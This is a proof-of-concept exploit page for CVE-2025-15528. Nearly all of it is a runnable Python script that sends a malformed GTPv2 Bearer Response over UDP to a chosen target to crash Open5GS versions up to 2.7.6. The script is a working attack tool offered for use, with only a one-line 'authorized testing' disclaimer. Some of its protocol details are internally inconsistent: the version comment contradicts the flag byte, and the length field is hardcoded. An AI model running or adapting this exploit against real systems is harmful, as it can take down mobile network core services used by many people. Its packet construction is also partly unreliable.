CVE-2025-15528 Open5GS GTPv2 Bearer Response拒绝服务漏洞

""" CVE-2025-15528 PoC - Open5GS GTPv2 Bearer Response DoS This PoC demonstrates sending a malformed GTPv2 Bearer Response to trigger denial of service in Open5GS <= 2.7.6 Note: For authorized security testing only """ import socket import struct import random def build_gtpv2_header(teid, message_type, seq_num): """Build GTPv2-C header""" # Version (1) + Flag (1) + Message Type (1) + Length (2) version_flag = 0x48 # Version=1, TEID present=1, Piggybacking=0 header = struct.pack('!BBH', version_flag, message_type, 0x0004 # Length of TEID + sequence + spare ) # TEID (4 bytes) header += struct.pack('!I', teid) # Sequence number (3 bytes) + Spare (1 byte) header += struct.pack('!I', seq_num)[1:] + b'\x00' return header def send_malformed_bearer_response(target_ip, target_port=2123): """ Send malformed GTPv2 Bearer Response to trigger DoS """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # GTPv2-C Message Type for Bearer Response is 0x36 header = build_gtpv2_header( teid=0x00000000, # Control plane TEID message_type=0x36, # Bearer Response seq_num=random.randint(0, 0xFFFFFF) ) # Malformed IE (Information Element) with invalid values # IE Type for Bearer Context (0x57) ie_type_bearer_context = 0x57 # Invalid length to cause parsing error ie_data = b'\x00' * 4 # Truncated/malformed data ie = struct.pack('!BBH', ie_type_bearer_context, 0x00, len(ie_data)) + ie_data packet = header + ie try: sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malformed GTPv2 Bearer Response sent to {target_ip}:{target_port}") print(f"[+] Packet length: {len(packet)} bytes") return True except Exception as e: print(f"[-] Error: {e}") return False finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_15528_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_malformed_bearer_response(target)